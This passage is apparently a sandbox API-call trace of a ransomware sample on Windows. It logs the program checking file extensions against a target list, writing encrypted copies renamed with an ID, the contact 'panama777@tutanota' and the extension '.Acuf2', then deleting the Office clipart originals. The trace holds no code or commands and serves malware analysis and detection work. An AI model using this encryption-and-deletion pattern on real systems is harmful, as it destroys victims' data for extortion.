	[0254.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1
	[0254.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.394] lstrlenW (lpString=".doc") returned 4
	[0254.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.394] lstrlenW (lpString=".docx") returned 5
	[0254.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.394] lstrlenW (lpString=".pdf") returned 4
	[0254.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.394] lstrlenW (lpString=".xls") returned 4
	[0254.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.394] lstrlenW (lpString=".xlsx") returned 5
	[0254.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.394] lstrlenW (lpString=".ppt") returned 4
	[0254.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.395] lstrlenW (lpString=".zip") returned 4
	[0254.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.395] lstrlenW (lpString=".rar") returned 4
	[0254.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.395] lstrlenW (lpString=".bz2") returned 4
	[0254.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.395] lstrlenW (lpString=".7z") returned 3
	[0254.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.395] lstrlenW (lpString=".dbf") returned 4
	[0254.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.395] lstrlenW (lpString=".1cd") returned 4
	[0254.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.395] lstrlenW (lpString=".jpg") returned 4
	[0254.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.396] lstrlenW (lpString=".doc") returned 4
	[0254.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.396] lstrlenW (lpString=".docx") returned 5
	[0254.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.396] lstrlenW (lpString=".pdf") returned 4
	[0254.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.396] lstrlenW (lpString=".xls") returned 4
	[0254.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.396] lstrlenW (lpString=".xlsx") returned 5
	[0254.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.396] lstrlenW (lpString=".ppt") returned 4
	[0254.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.396] lstrlenW (lpString=".zip") returned 4
	[0254.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.396] lstrlenW (lpString=".rar") returned 4
	[0254.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.396] lstrlenW (lpString=".bz2") returned 4
	[0254.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.396] lstrlenW (lpString=".7z") returned 3
	[0254.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.396] lstrlenW (lpString=".dbf") returned 4
	[0254.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.397] lstrlenW (lpString=".1cd") returned 4
	[0254.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63
	[0254.397] lstrlenW (lpString=".jpg") returned 4
	[0254.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.397] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.397] lstrlenW (lpString="AN00932_.WMF") returned 12
	[0254.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.397] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=14428) returned 1
	[0254.397] CloseHandle (hObject=0x358) returned 1
	[0254.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20
	[0254.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.398] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.398] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0254.398] GetLastError () returned 0x0
	[0254.398] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x385c, lpOverlapped=0x0) returned 1
	[0254.400] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x3860, lpOverlapped=0x0) returned 1
	[0254.401] ReadFile (in: hFile=0x358, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.401] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.401] SetEndOfFile (hFile=0x35c) returned 1
	[0254.401] CloseHandle (hObject=0x35c) returned 1
	[0254.401] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.401] SetEndOfFile (hFile=0x358) returned 1
	[0254.404] CloseHandle (hObject=0x358) returned 1
	[0254.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1
	[0254.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.406] lstrlenW (lpString=".doc") returned 4
	[0254.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.406] lstrlenW (lpString=".docx") returned 5
	[0254.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.406] lstrlenW (lpString=".pdf") returned 4
	[0254.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.406] lstrlenW (lpString=".xls") returned 4
	[0254.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.406] lstrlenW (lpString=".xlsx") returned 5
	[0254.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.406] lstrlenW (lpString=".ppt") returned 4
	[0254.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.406] lstrlenW (lpString=".zip") returned 4
	[0254.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.406] lstrlenW (lpString=".rar") returned 4
	[0254.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.406] lstrlenW (lpString=".bz2") returned 4
	[0254.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.406] lstrlenW (lpString=".7z") returned 3
	[0254.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.406] lstrlenW (lpString=".dbf") returned 4
	[0254.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.406] lstrlenW (lpString=".1cd") returned 4
	[0254.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.406] lstrlenW (lpString=".jpg") returned 4
	[0254.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.407] lstrlenW (lpString=".doc") returned 4
	[0254.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.407] lstrlenW (lpString=".docx") returned 5
	[0254.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.407] lstrlenW (lpString=".pdf") returned 4
	[0254.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.407] lstrlenW (lpString=".xls") returned 4
	[0254.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.407] lstrlenW (lpString=".xlsx") returned 5
	[0254.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.407] lstrlenW (lpString=".ppt") returned 4
	[0254.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.407] lstrlenW (lpString=".zip") returned 4
	[0254.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.407] lstrlenW (lpString=".rar") returned 4
	[0254.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.458] lstrlenW (lpString=".bz2") returned 4
	[0254.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.458] lstrlenW (lpString=".7z") returned 3
	[0254.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.458] lstrlenW (lpString=".dbf") returned 4
	[0254.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.459] lstrlenW (lpString=".1cd") returned 4
	[0254.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63
	[0254.459] lstrlenW (lpString=".jpg") returned 4
	[0254.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.459] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.459] lstrlenW (lpString="AN01060_.WMF") returned 12
	[0254.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.663] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=7968) returned 1
	[0254.663] CloseHandle (hObject=0x350) returned 1
	[0254.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20
	[0254.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.664] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.664] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.666] GetLastError () returned 0x0
	[0254.666] ReadFile (in: hFile=0x350, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1f20, lpOverlapped=0x0) returned 1
	[0254.669] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1f30, lpOverlapped=0x0) returned 1
	[0254.670] ReadFile (in: hFile=0x350, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.670] WriteFile (in: hFile=0x334, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.670] SetEndOfFile (hFile=0x334) returned 1
	[0254.670] CloseHandle (hObject=0x334) returned 1
	[0254.670] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.670] SetEndOfFile (hFile=0x350) returned 1
	[0254.673] CloseHandle (hObject=0x350) returned 1
	[0254.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1
	[0254.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.847] lstrlenW (lpString=".doc") returned 4
	[0254.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.847] lstrlenW (lpString=".docx") returned 5
	[0254.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.847] lstrlenW (lpString=".pdf") returned 4
	[0254.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.847] lstrlenW (lpString=".xls") returned 4
	[0254.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.847] lstrlenW (lpString=".xlsx") returned 5
	[0254.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.847] lstrlenW (lpString=".ppt") returned 4
	[0254.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.848] lstrlenW (lpString=".zip") returned 4
	[0254.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.848] lstrlenW (lpString=".rar") returned 4
	[0254.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString=".bz2") returned 4
	[0254.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString=".7z") returned 3
	[0254.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.848] lstrlenW (lpString=".dbf") returned 4
	[0254.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.848] lstrlenW (lpString=".1cd") returned 4
	[0254.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.848] lstrlenW (lpString=".jpg") returned 4
	[0254.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.848] lstrlenW (lpString=".doc") returned 4
	[0254.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString=".docx") returned 5
	[0254.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.848] lstrlenW (lpString=".pdf") returned 4
	[0254.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.848] lstrlenW (lpString=".xls") returned 4
	[0254.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.849] lstrlenW (lpString=".xlsx") returned 5
	[0254.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.849] lstrlenW (lpString=".ppt") returned 4
	[0254.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.849] lstrlenW (lpString=".zip") returned 4
	[0254.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.849] lstrlenW (lpString=".rar") returned 4
	[0254.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.849] lstrlenW (lpString=".bz2") returned 4
	[0254.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.849] lstrlenW (lpString=".7z") returned 3
	[0254.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.849] lstrlenW (lpString=".dbf") returned 4
	[0254.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.849] lstrlenW (lpString=".1cd") returned 4
	[0254.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63
	[0254.849] lstrlenW (lpString=".jpg") returned 4
	[0254.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.849] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.849] lstrlenW (lpString="AN02122_.WMF") returned 12
	[0254.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.862] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=7540) returned 1
	[0254.862] CloseHandle (hObject=0x330) returned 1
	[0254.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20
	[0254.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.864] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.864] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.865] GetLastError () returned 0x0
	[0254.865] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1d74, lpOverlapped=0x0) returned 1
	[0254.867] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1d80, lpOverlapped=0x0) returned 1
	[0254.868] ReadFile (in: hFile=0x330, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.868] WriteFile (in: hFile=0x328, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.868] SetEndOfFile (hFile=0x328) returned 1
	[0254.868] CloseHandle (hObject=0x328) returned 1
	[0254.868] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.868] SetEndOfFile (hFile=0x330) returned 1
	[0254.870] CloseHandle (hObject=0x330) returned 1
	[0254.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1
